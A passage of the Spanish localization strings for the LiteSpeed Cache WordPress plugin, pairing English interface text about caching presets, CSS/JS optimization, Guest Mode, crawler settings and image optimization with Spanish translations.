tools.'=>'Este preajuste es bueno para la mayoría de webs, y es raro que provoque conflictos. Cualquier conflicto de CSS o JS puede solucionarse con las herramientas de Optimización de página > Retoques.','Remove Query Strings from Static Files'=>'Eliminar cadenas de consulta de recursos estáticos','DNS Prefetch for static files'=>'Precarga de DNS para archivos estáticos','JS Defer for both external and inline JS'=>'Aplazar JS para JS externos e incrustados','CSS, JS and HTML Minification'=>'Minimizado de CSS, JS y HTML','Guest Mode and Guest Optimization'=>'Modo de invitado y modo de optimización','Everything in Basic, Plus'=>'Todo en el básico, además','Advanced (Recommended)'=>'Avanzado (Recomendado)','A QUIC.cloud connection is required to use this preset. Includes optimizations known to improve site score in page speed measurement tools.'=>'Es obligatoria una conexión QUIC.cloud para utilizar este preajuste. Incluye optimizaciones conocidas por mejorar la puntuación del sitio en las herramientas de medición de la velocidad de la página.','This low-risk preset introduces basic optimizations for speed and user experience. Appropriate for enthusiastic beginners.'=>'Este preajuste de bajo riesgo introduce optimizaciones básicas de mejora de la velocidad de página y experiencia de usuario. Adecuado para principiantes entusiastas.','Mobile Cache'=>'Caché móvil','Everything in Essentials, Plus'=>'Todo lo de Essentials y además','A QUIC.cloud connection is not required to use this preset. Only basic caching features are enabled.'=>'No es obligatoria una conexión QUIC.cloud para utilizar este preajuste. Solo se activan las características básicas de almacenamiento en caché.','This no-risk preset is appropriate for all websites. Good for new users, simple websites, or cache-oriented development.'=>'Este preajuste sin riesgos es apropiado para todas las webs. Es bueno para nuevos usuarios, webs sencillas o desarrollos orientados a caché.','Higher TTL'=>'TTL mayor','Default Cache'=>'Caché por defecto','Essentials'=>'Básicos','LiteSpeed Cache Configuration Presets'=>'Preajustes de configuración de caché LiteSpeed','Standard Presets'=>'Preajustes estándar','Listed CSS files will be excluded from UCSS and saved to inline.'=>'Los archivos CSS listados se excluirán del CSS sin uso y guardados para que se incrusten.','UCSS Selector Allowlist'=>'Lista blanca del selector de CSS sin uso','Presets'=>'Preajustes','Partner Benefits Provided by'=>'Ventajas de colaboración ofrecidas por','LiteSpeed Logs'=>'Registros de LiteSpeed','Crawler Log'=>'Registros de rastreadores','Purge Log'=>'Purgar registro','Prevent writing log entries that include listed strings.'=>'Evita escribir entradas del registro que incluyan cadenas listadas.','View Site Before Cache'=>'Ver sitio sin caché','View Site Before Optimization'=>'Ver sitio sin optimizar','Debug Helpers'=>'Ayudas de depuración','Enable Viewport Images auto generation cron.'=>'Activar el cron de generación automática del viewport de imágenes.','This enables the page\'s initial screenful of imagery to be fully displayed without delay.'=>'Esto permite que la pantalla inicial de imágenes de la página se muestre completamente sin demora.','The Viewport Images service detects which images appear above the fold, and excludes them from lazy load.'=>'El servicio de viewport de imágenes detecta qué imágenes aparecen antes de hacer scroll y las excluye de la carga diferida.','When you use Lazy Load, it will delay the loading of all images on a page.'=>'Cuando usas la carga diferida, se retrasa la carga de todas las imágenes de la página.','Use %1$s to bypass remote image dimension check when %2$s is ON.'=>'Utiliza %1$s para saltarte la comprobación de dimensión en imágenes remotas cuando la %2$s esté ACTIVA.','VPI'=>'VPI','%s must be turned ON for this setting to work.'=>'%s debe estar activo para que este ajuste funcione.','Viewport Image'=>'Imagen de la vista','API: Filter %s available to disable blocklist.'=>'API: El filtro %s está disponible para desactivar la lista de bloqueos.','API: PHP Constant %s available to disable blocklist.'=>'API: La constante %s de PHP está disponible para desactivar la lista de bloqueos.','Please consider disabling the following detected plugins, as they may conflict with LiteSpeed Cache:'=>'Debido a que puede haber conflictos con LiteSpeed Cache, por favor, considera desactivar los siguientes plugins:','Mobile'=>'Móvil','Disable VPI'=>'Desactivar VPI','Disable Image Lazyload'=>'Desactivar la carga de imágenes diferida','Disable Cache'=>'Desactivar la caché','Debug String Excludes'=>'Exclusión de cadenas de depuración','Viewport Images Cron'=>'Cron de imágenes de la vista','Viewport Images'=>'Imágenes de la vista','Alias is in use by another QUIC.cloud account.'=>'El alias ya está en uso por otra cuenta de QUIC.cloud.','Unable to automatically add %1$s as a Domain Alias for main %2$s domain.'=>'No ha sido posible añadir automáticamente %1$s como alias de dominio para el dominio %2$s principal.','Unable to automatically add %1$s as a Domain Alias for main %2$s domain, due to potential CDN conflict.'=>'No ha sido posible añadir automáticamente %1$s como alias de dominio para el dominio %2$s principal, debido a un conflicto potencial con la CDN.','You cannot remove this DNS zone, because it is still in use. Please update the domain\'s nameservers, then try to delete this zone again, otherwise your site will become inaccessible.'=>'No puedes eliminar esta zona de DNS porque aún está en uso. Por favor, actualiza los servidores de nombers, luego tratar de borrar de nuevo esta zona, en caso contrario tu sitio será inaccesible.','The site is not a valid alias on QUIC.cloud.'=>'El sitio no tiene un alias válido en QUIC.cloud.','Please thoroughly test each JS file you add to ensure it functions as expected.'=>'Por favor, prueba a fondo cada archivo JS que añadas para asegurar que funcionan como se espera.','Please thoroughly test all items in %s to ensure they function as expected.'=>'Por favor, prueba a fondo todos los elementos en %s para asegurar que funcionan como se espera.','Use %1$s to bypass UCSS for the pages which page type is %2$s.'=>'Usa %1$s para omitir UCSS para las páginas cuyo tipo de página es %2$s.','Use %1$s to generate one single UCSS for the pages which page type is %2$s while other page types still per URL.'=>'Usa %1$s para generar un único UCSS para las páginas cuyo tipo de página es %2$s, mientras que los otros tipos de páginas se mantienen por URL.','Filter %s available for UCSS per page type generation.'=>'Disponible el filtro %s para la generación de UCSS por tipo de página.','Guest Mode failed to test.'=>'Prueba fallida del modo de invitado.','Guest Mode passed testing.'=>'Prueba superada del modo de invitado.','Testing'=>'Probando','Guest Mode testing result'=>'Resultado de la prueba del modo de invitado','Not blocklisted'=>'No está en la lista negra','Learn more about when this is needed'=>'Aprende más sobre cuándo es esto necesario','Cleaned all localized resource entries.'=>'Limpiadas todas las entradas de recursos localizados.','View .htaccess'=>'Ver el archivo «.htaccess»','You can use this code %1$s in %2$s to specify the htaccess file path.'=>'Puedes usar este código %1$s en %2$s para especificar la ruta al archivo «.htaccess».','PHP Constant %s is supported.'=>'Es compatible la contante %s de PHP.','Default path is'=>'La ruta por defecto es','.htaccess Path'=>'Ruta del archivo «.htaccess»','Please read all warnings before enabling this option.'=>'Por favor, lee todas las advertencias antes de activar esta opción.','This will delete all generated unique CSS files'=>'Esto borrará todos los archivos CSS únicos generados','In order to avoid an upgrade error, you must be using %1$s or later before you can upgrade to %2$s versions.'=>'Para evitar un error de actualización, debes usar la versión %1$s o posterior antes de poder actualizar a las versiones %2$s.','Use latest GitHub Dev/Master commit'=>'Utiliza el último commit Dev/Master de GitHub','Press the %s button to use the most recent GitHub commit. Master is for release candidate & Dev is for experimental testing.'=>'Presiona el botón %s para usar el commit de GitHub más reciente. Master es para la versión candidata y Dev es para pruebas experimentales.','Downgrade not recommended. May cause fatal error due to refactored code.'=>'No se recomienda bajar de versión. Puede causar un error fatal debido a código reprogramado.','Only optimize pages for guest (not logged in) visitors. If turned this OFF, CSS/JS/CCSS files will be doubled by each user group.'=>'Optimiza solo las páginas para visitantes invitados (no conectados). Si se desactiva, se duplicarán los archivos CSS/JS/CCSS por cada grupo de usuarios.','Listed JS files or inline JS code will not be optimized by %s.'=>'Los archivos JS listados o el código JS integrado no serán optimizados por %s.','Listed URI will not generate UCSS.'=>'Las URI listadas no generarán UCSS.','The selector must exist in the CSS. Parent classes in the HTML will not work.'=>'El selector debe existir en el CSS. Las clases principales en HTML no funcionarán.','Wildcard %s supported.'=>'Compatibilidad con el comodín %s.','Useful for above-the-fold images causing CLS (a Core Web Vitals metric).'=>'Útil para imágenes de la mitad superior de la página que causan CLS (una métrica de Core Web Vitals).','Set an explicit width and height on image elements to reduce layout shifts and improve CLS (a Core Web Vitals metric).'=>'Establece un ancho y alto explícitos en los elementos de la imagen para reducir los cambios de diseño y mejorar CLS (una métrica de Core Web Vitals).','Changes to this setting do not apply to already-generated LQIPs. To regenerate existing LQIPs, please %s first from the admin bar menu.'=>'Los cambios en este ajuste no se aplican a los LQIP ya generados. Para regenerar los LQIP existentes, por favor, primero %s desde el menú de la barra de administración.','Deferring until page is parsed or delaying till interaction can help reduce resource contention and improve performance causing a lower FID (Core Web Vitals metric).'=>'Aplazar hasta que se analiza la página o retrasar hasta que la interacción pueda ayudar a reducir la contención de recursos y mejorar el rendimiento, lo que provoca un FID más bajo (métrica de Core Web Vitals).','Delayed'=>'Retrasado','JS error can be found from the developer console of browser by right clicking and choosing Inspect.'=>'El error JS se puede encontrar en la consola de desarrollador del navegador haciendo clic derecho y eligiendo inspeccionar.','This option may result in a JS error or layout issue on frontend pages with certain themes/plugins.'=>'Esta opción puede resultar en un error de JS o un problema de diseño en las páginas de portada con ciertos temas/plugins.','This will also add a preconnect to Google Fonts to establish a connection earlier.'=>'Esto también añadirá una preconexión a Google Fonts para establecer una conexión antes.','Delay rendering off-screen HTML elements by its selector.'=>'Retraso al mostrar los elementos HTML fuera de la pantalla por su selector.','Disable this option to generate CCSS per Post Type instead of per page. This can save significant CCSS quota, however it may result in incorrect CSS styling if your site uses a page builder.'=>'Desactiva esta opción para generar CCSS por tipo de contenido en lugar de por página. Esto puede ahorrar una cuota significativa de CCSS, sin embargo, puede resultar en un estilo de CSS incorrecto si tu sitio usa un maquetador de páginas.','This option is bypassed due to %s option.'=>'Esta opción se omite debido a la opción %s.','Elements with attribute %s in HTML code will be excluded.'=>'Se excluirán los elementos con el atributo %s en el código HTML.','Use QUIC.cloud online service to generate critical CSS and load remaining CSS asynchronously.'=>'Usa el servicio online de QUIC.cloud para generar el CSS crítico y cargar asíncronamente el CSS restante.','This option will automatically bypass %s option.'=>'Esta opción omitirá automáticamente la opción %s.','Inline UCSS to reduce the extra CSS file loading. This option will not be automatically turned on for %1$s pages. To use it on %1$s pages, please set it to ON.'=>'UCSS integrado para reducir la carga adicional de archivos CSS. Esta opción no será activada automáticamente para las páginas %1$s. Para usarla en las páginas %1$s, por favor, actívala.','Run %s Queue Manually'=>'Ejecutar manualmente la cola %s','This option is bypassed because %1$s option is %2$s.'=>'Esta opción se omite porque la opción %1$s es %2$s.','Automatic generation of unique CSS is in the background via a cron-based queue.'=>'La generación automática de CSS único está en segundo plano a través de una cola basada en cron.','This will drop the unused CSS on each page from the combined file.'=>'Esto eliminará el CSS no utilizado en cada página del archivo combinado.','HTML Settings'=>'Ajustes HTML','LiteSpeed cache plugin upgraded. Please refresh the page to complete the configuration data upgrade.'=>'Actualizado el plugin LiteSpeed Cache. Por favor, actualiza la página para completar la actualización de los datos de configuración.','Listed IPs will be considered as Guest Mode visitors.'=>'Las IP listadas serán consideradas visitantes en modo invitado.','Listed User Agents will be considered as Guest Mode visitors.'=>'Los agentes de usuario listados serán considerados visitantes en modo invitado.','Your %1$s quota on %2$s will still be in use.'=>'Tu cuota de %1$s en %2$s aún seguirá en uso.','This option can help to correct the cache vary for certain advanced mobile or tablet visitors.'=>'Esta opción puede ayudar a corregir la variación de la caché para ciertos visitantes avanzados de dispositivos móviles o tabletas.','Guest Mode provides an always cacheable landing page for an automated guest\'s first time visit, and then attempts to update cache varies via AJAX.'=>'El modo de invitado proporciona una página de destino siempre en la caché para la primera visita de un invitado automatizado y, después, intenta actualizar las variaciones de la caché a través de AJAX.','Please make sure this IP is the correct one for visiting your site.'=>'Por favor, asegúrate de que esta IP sea la correcta para visitar tu sitio.','the auto-detected IP may not be accurate if you have an additional outgoing IP set, or you have multiple IPs configured on your server.'=>'la IP autodetectada puede no ser exacta si tienes establecida una IP saliente adicional o si tienes varias IP configuradas en tu servidor.','You need to turn %s on and finish all WebP generation to get maximum result.'=>'Debes activar %s y finalizar toda la generación de WebP para obtener el máximo resultado.','You need to turn %s on to get maximum result.'=>'Necesitas activar %s para obtener el máximo resultado.','This option enables maximum optimization for Guest Mode visitors.'=>'Esta opción permite la máxima optimización para los visitantes del modo de invitado.','More'=>'Más','Remaining Daily Quota'=>'Cuota diaria restante','Successfully Crawled'=>'Rastreado correctamente','Already Cached'=>'Ya en la caché','The crawler will use your XML sitemap or sitemap index. Enter the full URL to your sitemap here.'=>'El rastreador usará tu mapa del sitio XML o el índice del mapa del sitio. Introduce aquí la URL completa de tu mapa del sitio.','Optional when API token used.'=>'Opcional cuando se usa el token de la API.','Recommended to generate the token from Cloudflare API token template "WordPress".'=>'Recomendado para generar el token desde la plantilla «WordPress» del token de la API de Cloudflare.','Global API Key / API Token'=>'Clave/Token global de la API','NOTE: QUIC.cloud CDN and Cloudflare do not use CDN Mapping. If you are only using QUIC.cloud or Cloudflare, leave this setting %s.'=>'NOTA: La CDN de QUIC.cloud y Cloudflare no usan asignación CDN. Si solo estás usando QUIC.cloud o Cloudflare, deja este ajuste como %s.','Turn this setting %s if you are using a traditional Content Delivery Network (CDN) or a subdomain for static content with QUIC.cloud CDN.'=>'Cambia este ajuste %s si estás usando una red de entrega de contenido (CDN) tradicional o un subdominio para contenido estático con la CDN de QUIC.cloud.','Use external object cache functionality.'=>'Usa la funcionalidad de la caché de objetos externos.','Serve a separate cache copy for mobile visitors.'=>'Ofrece una copia de la caché separada para los visitantes móviles.','By default, the My Account, Checkout, and Cart pages are automatically excluded from caching. Misconfiguration of page associations in WooCommerce settings may cause some pages to be erroneously excluded.'=>'Por defecto, las páginas «Mi cuenta», «Pago» y «Carrito» son excluidas automáticamente de la caché. Una mala configuración de las asociaciones de páginas en los ajustes de WooCommerce puede hacer que algunas páginas sean excluidas erróneamente.','Cleaned all Unique CSS files.'=>'Limpiados todos los archivos CSS únicos.','Add Missing Sizes'=>'Añadir tamaños que faltan','Optimize for Guests Only'=>'Optimizar solamente para invitados','Guest Mode JS Excludes'=>'Exclusiones JS del modo de invitado','CCSS Per URL'=>'CCSS por URL','HTML Lazy Load Selectors'=>'Selectores HTML de carga diferida','UCSS URI Excludes'=>'Exclusiones UCSS de la URI','UCSS Inline'=>'UCCS integrado','Guest Optimization'=>'Optimización para invitados','Guest Mode'=>'Modo de invitado','Guest Mode IPs'=>'IP del modo de invitado','Guest Mode User Agents'=>'Agentes de usuario del modo de invitado','Online node needs to be redetected.'=>'El nodo online tiene que volver a ser detectado.','The current server is under heavy load.'=>'El servidor actual está bajo una gran carga.','Please see %s for more details.'=>'Por favor, consulta %s para más detalles.','This setting will regenerate crawler list and clear the disabled list!'=>'¡Este ajuste regenerará la lista de rastreadores y vaciará la lista de desactivados!','%1$s %2$s files left in queue'=>'%1$s %2$s archivos restantes en la cola','Crawler disabled list is cleared! All crawlers are set to active! '=>'¡Se ha vaciado la lista de rastreadores desactivados! ¡Todos los rastreadores están activos! ','Redetected node'=>'Nodo detectado nuevamente','No available Cloud Node after checked server load.'=>'No hay ningún nodo de la nube disponible después de comprobar la carga del servidor.','Localization Files'=>'Archivos de idiomas','Purged!'=>'¡Purgado!','Resources listed here will be copied and replaced with local URLs.'=>'Los recursos listados aquí se copiarán y reemplazarán con URL locales.','Use latest GitHub Master commit'=>'Usar el último commit maestro de GitHub','Use latest GitHub Dev commit'=>'Usar el último commit de desarrollo de GitHub','No valid sitemap parsed for crawler.'=>'No se ha analizado ningún mapa del sitio válido para el rastreador.','CSS Combine External and Inline'=>'Combinación de CSS externo e integrado','Include external CSS and inline CSS in combined file when %1$s is also enabled. This option helps maintain the priorities of CSS, which should minimize potential errors caused by CSS Combine.'=>'Incluye CSS externo y CSS integrado en un archivo combinado cuando %1$s también está activado. Esta opción ayuda a mantener las prioridades de CSS, que debería minimizar los errores potenciales causados por la combinación de CSS.','Minify CSS files and inline CSS code.'=>'Minimiza archivos CSS y código CSS integrado.','Predefined list will also be combined w/ the above settings'=>'La lista predefinida también se combinará con los ajustes anteriores','Localization'=>'Localización','Include external JS and inline JS in combined file when %1$s is also enabled. This option helps maintain the priorities of JS execution, which should minimize potential errors caused by JS Combine.'=>'Incluye JS externo y JS integrado en un archivo combinado cuando %1$s también está activado. Esta opción ayuda a mantener las prioridades de ejecución de JS, que debería minimizar los errores potenciales causados por la combinación de JS.','Combine all local JS files into a single file.'=>'Combina todos los archivos JS locales en un único archivo.','Listed JS files or inline JS code will not be deferred or delayed.'=>'Los archivos JS listados o el código JS integrado no serán aplazados ni diferidos.','JS Combine External and Inline'=>'Combinación de JS externo e integrado','Dismiss'=>'Descartar','The latest data file is'=>'El último archivo de datos es','The list will be merged with the predefined nonces in your local data file.'=>'La lista se fusionará con los nonces predefinidos en tu archivo de datos local.','Combine CSS files and inline CSS code.'=>'Combina archivos CSS y código CSS integrado.','Minify JS files and inline JS codes.'=>'Minimiza archivos JS y códigos JS integrados.','Listed JS files or inline JS code will not be minified or combined.'=>'Los archivos JS de la lista o el código JS integrado no se minimizarán o combinarán.','Listed CSS files or inline CSS code will not be minified or combined.'=>'Los archivos CSS de la lista o el código CSS integrado no se minimizarán o combinarán.','This value is overwritten by the Network setting.'=>'Este valor queda sobrescrito por el ajuste de red.','LQIP Excludes'=>'Exclusiones de LQIP','These images will not generate LQIP.'=>'Estas imágenes no generarán LQIP.','Are you sure you want to reset all settings back to the default settings?'=>'¿Seguro que quieres restablecer los ajustes a los valores por defecto?','This option will remove all %s tags from HTML.'=>'Esta opción eliminará todas las etiquetas %s del HTML.','Are you sure you want to clear all cloud nodes?'=>'¿Seguro que quieres vaciar todos los nodos cloud?','Remove Noscript Tags'=>'Eliminar las etiquetas Noscript','The site is not registered on QUIC.cloud.'=>'El sitio no está registrado en QUIC.cloud.','Click here to set.'=>'Haz clic aquí para configurarlo.','Localize Resources'=>'Recursos localizados','Setting Up Custom Headers'=>'Configurar cabeceras personalizadas','This will delete all localized resources'=>'Esto borrará todos los recursos localizados','Localized Resources'=>'Recursos localizados','Comments are supported. Start a line with a %s to turn it into a comment line.'=>'Se admiten comentarios. Empieza una línea con un %s para convertirla en una línea de comentario.','HTTPS sources only.'=>'Solo orígenes HTTPS.','Localize external resources.'=>'Localizar recursos externos.','Localization Settings'=>'Ajustes de localización','Use QUIC.cloud online service to generate unique CSS.'=>'Usar el servicio en línea QUIC.cloud para generar CSS único.','Generate UCSS'=>'Generar UCSS','Unique CSS'=>'CSS único','Purge the cache entries created by this plugin except for Critical CSS & Unique CSS & LQIP caches'=>'Purga las entradas de la caché creadas por este plugin, excepto las cachés de CSS único, CSS crítico y de LQIP','LiteSpeed Report'=>'Informe de LiteSpeed','Image Thumbnail Group Sizes'=>'Grupo de tamaños de miniaturas','Ignore certain query strings when caching. (LSWS %s required)'=>'Ignorar ciertas cadenas de petición al cachear. (LSWS %s obligatorio)','For URLs with wildcards, there may be a delay in initiating scheduled purge.'=>'En el caso de las URL con comodines, puede haber un retraso en el inicio de la purga programada.','By design, this option may serve stale content. Do not enable this option, if that is not OK with you.'=>'Por diseño, esta opción puede servir contenido obsoleto. No actives esta opción si no estás de acuerdo.','Serve Stale'=>'Servir contenido rancio','This value is overwritten by the primary site setting.'=>'Este valor es sobrescrito por el ajuste principal del sitio.','One or more pulled images does not match with the notified image md5'=>'Una o más de las imágenes recuperadas no coincide con el md5 de imagen avisado','Some optimized image file(s) has expired and was cleared.'=>'Una o más imágenes optimizadas han caducado y han sido borradas.','You have too many requested images, please try again in a few minutes.'=>'Tienes demasiadas imágenes solicitadas, inténtalo dentro de unos minutos.','Pulled WebP image md5 does not match the notified WebP image md5.'=>'El md5 de la imagen WebP recuperada no coincide con el md5 avisado de la imagen WebP.','Pulled AVIF image md5 does not match the notified AVIF image md5.'=>'El md5 de la imagen AVIF extraída no coincide con el md5 de la imagen AVIF avisada.','Read LiteSpeed Documentation'=>'Leer la documentación de LiteSpeed','There is proceeding queue not pulled yet. Queue info: %s.'=>'La cola aún no ha sido recuperada. Información de la cola: %s.','Specify how long, in seconds, Gravatar files are cached.'=>'Especifica durante cuánto tiempo, en segundos, se almacenan en la caché los archivos de Gravatar.','Cleared %1$s invalid images.'=>'Purgadas %1$s imágenes no válidas.','LiteSpeed Cache General Settings'=>'Ajustes generales de LiteSpeed Cache','This will delete all cached Gravatar files'=>'Esto borrará todos los archivos Gravatar almacenados en caché','Prevent any debug log of listed pages.'=>'Evita cualquier registro de depuración de las páginas listadas.','Only log listed pages.'=>'Solo registra las páginas listadas.','Specify the maximum size of the log file.'=>'Especifica el tamaño máximo del archivo de registro.','To prevent filling up the disk, this setting should be OFF when everything is working.'=>'Para evitar que se llene el disco, este ajuste debe estar APAGADO cuando todo funcione.','Press the %s button to stop beta testing and go back to the current release from the WordPress Plugin Directory.'=>'Pulsa el botón %s para detener la prueba beta y volver a la versión actual del directorio de plugins de WordPress.','Use latest WordPress release version'=>'Usar la última versión de WordPress','OR'=>'O','Use this section to switch plugin versions. To beta test a GitHub commit, enter the commit URL in the field below.'=>'Utiliza esta sección para cambiar la versión del plugin. Para hacer una prueba beta de un commit de GitHub, introduce la URL del commit en el campo de abajo.','Reset Settings'=>'Restablecer ajustes','LiteSpeed Cache Toolbox'=>'Caja de herramientas de LiteSpeed','Beta Test'=>'Pruebas beta','Log View'=>'Vista de registros','Debug Settings'=>'Ajustes de depuración','Turn ON to control heartbeat in backend editor.'=>'Actívalo para controlar heartbeat en el editor.','Turn ON to control heartbeat on backend.'=>'Actívalo para controlar heartbeat en el escritorio.','Set to %1$s to forbid heartbeat on %2$s.'=>'Ponlo en %1$s para bloquear heartbeat en %2$s.','WordPress valid interval is %s seconds.'=>'El intervalo válido de WordPress es de %s segundos.','Specify the %s heartbeat interval in seconds.'=>'Especifica el intervalo de heartbeat para %s en segundos.','Turn ON to control heartbeat on frontend.'=>'Enciéndelo para controlar heartbeat en las páginas públicas.','Disable WordPress interval heartbeat to reduce server load.'=>'Desactuva el intervalo del heartbeat de WordPress para reducir la carga del servidor.','Heartbeat Control'=>'Control de Heartbeat','provide more information here to assist the LiteSpeed team with debugging.'=>'proporciona más información aquí para ayudar al equipo de LiteSpeed con la depuración.','Optional'=>'Opcional','Generate Link for Current User'=>'Generar el enlace para el usuario actual','Passwordless Link'=>'Enlace sin contraseña','System Information'=>'Información del sistema','Go to plugins list'=>'Ir a la lista de plugins','Install DoLogin Security'=>'Instalar la seguridad de DoLogin','Check my public IP from'=>'Comprobar mi IP pública desde','Your server IP'=>'La IP de tu servidor','Enter this site\'s IP address to allow cloud services directly call IP instead of domain name. This eliminates the overhead of DNS and CDN lookups.'=>'Introduce la dirección IP de este sitio para permitir que los servicios en la nube llamen directamente a la IP en lugar de al nombre de dominio. Esto elimina la sobrecarga de búsquedas de DNS y CDN.','This will enable crawler cron.'=>'Esto activará el cron rastreador.','Crawler General Settings'=>'Ajustes generales del rastreador','Remove from Blocklist'=>'Eliminar de la lista negra','Empty blocklist'=>'Vaciar la lista negra','Are you sure to delete all existing blocklist items?'=>'¿Seguro que quieres borrar todos los elementos de la lista negra?','Blocklisted due to not cacheable'=>'En la lista negra debido a que no se puede cachear','Add to Blocklist'=>'Añadir a la lista negra','Operation'=>'Operación','Sitemap Total'=>'Total del mapa del sitio','Sitemap List'=>'Lista del mapa del sitio','Refresh Crawler Map'=>'Recargar el mapa del rastreador','Clean Crawler Map'=>'Vaciar el mapa del rastreador','Blocklist'=>'Lista negra','Map'=>'Mapa','Summary'=>'Sumario','Cache Miss'=>'Fallo de caché','Cache Hit'=>'Acierto de caché','Waiting to be Crawled'=>'Esperando a ser rastreado','Blocklisted'=>'En lista negra','Miss'=>'Fallo','Hit'=>'Acierto','Waiting'=>'En espera','Running'=>'En curso','Use %1$s in %2$s to indicate this cookie has not been set.'=>'Usa %1$s en %2$s para indicar que esta cookie no ha sido establecida.','Add new cookie to simulate'=>'Añadir una cookie nueva para simular','Remove cookie simulation'=>'Eliminar la simulación de la cookie','Htaccess rule is: %s'=>'La regla de Htaccess es: %s','More settings available under %s menu'=>'Más ajustes disponibles en el menú %s','The amount of time, in seconds, that files will be stored in browser cache before expiring.'=>'La cantidad de tiempo, en segundos, que los archivos se almacenarán en la caché del navegador antes de caducar.','OpenLiteSpeed users please check this'=>'Marca esto si eres un usuario de OpenLiteSpeed','Browser Cache Settings'=>'Ajustes de la caché del navegador','Paths containing these strings will be forced to public cached regardless of no-cacheable settings.'=>'Las rutas que contengan estas cadenas serán forzadas a ser almacenados públicamente sin tener en cuenta los ajustes de no-cacheable.','With QUIC.cloud CDN enabled, you may still be seeing cache headers from your local server.'=>'Con la CDN de QUIC.cloud activada, puede que todavía estés viendo las cabeceras de la caché de tu servidor local.','An optional second parameter may be used to specify cache control. Use a space to separate'=>'Se puede utilizar un segundo parámetro opcional para especificar el control de la caché. Utiliza un espacio para separar','The above nonces will be converted to ESI automatically.'=>'Los nonces anteriores se convertirán en ESI automáticamente.','Browser'=>'Navegador','Object'=>'Objeto','Default port for %1$s is %2$s.'=>'Puerto por defecto de %1$s es %2$s.','Object Cache Settings'=>'Ajustes de la caché de objetos','Specify an HTTP status code and the number of seconds to cache that page, separated by a space.'=>'Especifica un código de estado HTTP y el número de segundos que almacenar esa página en caché, separados por un espacio.','Specify how long, in seconds, the front page is cached.'=>'Especifica cuánto tiempo, en segundos, se almacena la página de inicio.','TTL'=>'TTL','If ON, the stale copy of a cached page will be shown to visitors until a new cache copy is available. Reduces the server load for following visits. If OFF, the page will be dynamically generated while visitors wait.'=>'Si está activada, se les mostrará a los visitantes una copia vieja de la página almacenada en caché hasta que haya una nueva copia disponible. Reduce la carga del servidor para las siguientes visitas. Si está apagado, la página se generará dinámicamente mientras los visitantes esperan.','Swap'=>'Swap','Set this to append %1$s to all %2$s rules before caching CSS to specify how fonts should be displayed while being downloaded.'=>'Configura esto para añadir %1$s a todas las reglas de %2$s antes de guardar en caché el CSS para especificar cómo deben mostrarse las fuentes mientras se descargan.','Avatar list in queue waiting for update'=>'La lista de avatares está en la cola esperando ser actualizada','Refresh Gravatar cache by cron.'=>'Refrescar la caché de Gravatar por cron.','Accelerates the speed by caching Gravatar (Globally Recognized Avatars).'=>'Acelera la velocidad al almacenar en caché los gravatares (avatares reconocidos mundialmente).','Store Gravatar locally.'=>'Almacenar los gravatares localmente.','Failed to create Avatar table. Please follow <a %s>Table Creation guidance from LiteSpeed Wiki</a> to finish setup.'=>'Fallo al crear la tabla Avatar. Por favor, sigue la guía <a %s>creación de tablas, de la Wiki de LiteSpeed</a> para terminar la configuración.','LQIP requests will not be sent for images where both width and height are smaller than these dimensions.'=>'No se enviarán peticiones de LQIP para imágenes en las que tanto el ancho como la altura sean menores que estas dimensiones.','pixels'=>'pixels','Larger number will generate higher resolution quality placeholder, but will result in larger files which will increase page size and consume more points.'=>'Los números más grandes generarán un marcador de posición de mayor calidad de resolución, pero resultarán en archivos más grandes que aumentarán el tamaño de la página y consumirán más puntos.','Specify the quality when generating LQIP.'=>'Especifica la calidad al generar el LQIP.','Keep this off to use plain color placeholders.'=>'Mantén esto apagado para usar marcadores de posición de color.','Use QUIC.cloud LQIP (Low Quality Image Placeholder) generator service for responsive image previews while loading.'=>'Usa el servicio generador de marcadores de posición de imágenes de baja calidad (LQIP) de QUIC.cloud para obtener vistas previas de la imagen mientras se carga.','Specify the responsive placeholder SVG color.'=>'Especifica el color del marcador de posición SVG adaptable.','Variables %s will be replaced with the configured background color.'=>'Las variables %s serán reemplazadas por el color de fondo configurado.','Variables %s will be replaced with the corresponding image properties.'=>'Las variables %s serán reemplazadas por las correspondientes propiedades de la imagen.','It will be converted to a base64 SVG placeholder on-the-fly.'=>'Se convertirá en un marcador de posición SVG base64 sobre la marcha.','Specify an SVG to be used as a placeholder when generating locally.'=>'Especifica un SVG que se utilizará como marcador de posición al generar localmente.','Prevent any lazy load of listed pages.'=>'Evita cualquier carga diferida de las páginas de la lista.','Iframes having these parent class names will not be lazy loaded.'=>'Los iframes con estos nombres de clase padres no se cargarán de forma diferida.','Iframes containing these class names will not be lazy loaded.'=>'Los marcos que contengan estos nombres de clase no serán cargados de forma diferida.','Images having these parent class names will not be lazy loaded.'=>'Las imágenes que tengan estos nombres de clase de los padres no serán cargadas de forma diferida.','LiteSpeed Cache Page Optimization'=>'Optimización de página de LiteSpeed Cache','Media Excludes'=>'Exclusiones de medios','CSS Settings'=>'Ajustes de CSS','%s is recommended.'=>'Se recomienda %s.','Deferred'=>'Diferido','Default'=>'Por defecto','This can improve the page loading speed.'=>'Esto puede mejorar la velocidad de carga de la página.','Automatically enable DNS prefetching for all URLs in the document, including images, CSS, JavaScript, and so forth.'=>'Activar ampliamente la precarga de DNS para las URLs del documento, incluyendo imágenes, CSS, JavaScript, etc.','New developer version %s is available now.'=>'La nueva versión de desarrollo %s está disponible.','New Developer Version Available!'=>'¡Nueva versión para desarrolladores disponible!','Dismiss this notice'=>'Ignorar ese aviso','Tweet this'=>'Tuitea esto','Tweet preview'=>'Vista previa del tweet','Learn more'=>'Aprender más','You just unlocked a promotion from QUIC.cloud!'=>'¡Acabas de desbloquear una promoción de QUIC.cloud!','The image compression quality setting of WordPress out of 100.'=>'El ajuste de calidad de compresión de imágenes de WordPress, de 0 a 100.','Image Optimization Settings'=>'Ajustes de optimización de imágenes','Are you sure to destroy all optimized images?'=>'¿Está seguro de destruir todas las imágenes optimizadas?','Use Optimized Files'=>'Usar archivos optimizados','Switch back to using optimized images on your site'=>'Volver a utilizar imágenes optimizadas en tu web','Use Original Files'=>'Usar archivos originales','Use original images (unoptimized) on your site'=>'Usar imágenes originales (no optimizadas) en tu web','You can quickly switch between using original (unoptimized versions) and optimized image files. It will affect all images on your website, both regular and webp versions if available.'=>'Puedes alternar rápidamente entre el uso de archivos de imágenes originales (versiones no optimizadas) y optimizadas. Afectará a todas las imágenes de tu web, tanto a las versiones normales como a las versiones webp si están disponibles.','Optimization Tools'=>'Herramientas de optimización','Rescan New Thumbnails'=>'Reexaminar nuevas miniaturas','Congratulations, all gathered!'=>'¡Felicidades, todos obtenidos!','What is an image group?'=>'¿Qué es un grupo de imágenes?','Delete all backups of the original images'=>'Borrar todas las copias de seguridad de las imágenes originales','Calculate Backups Disk 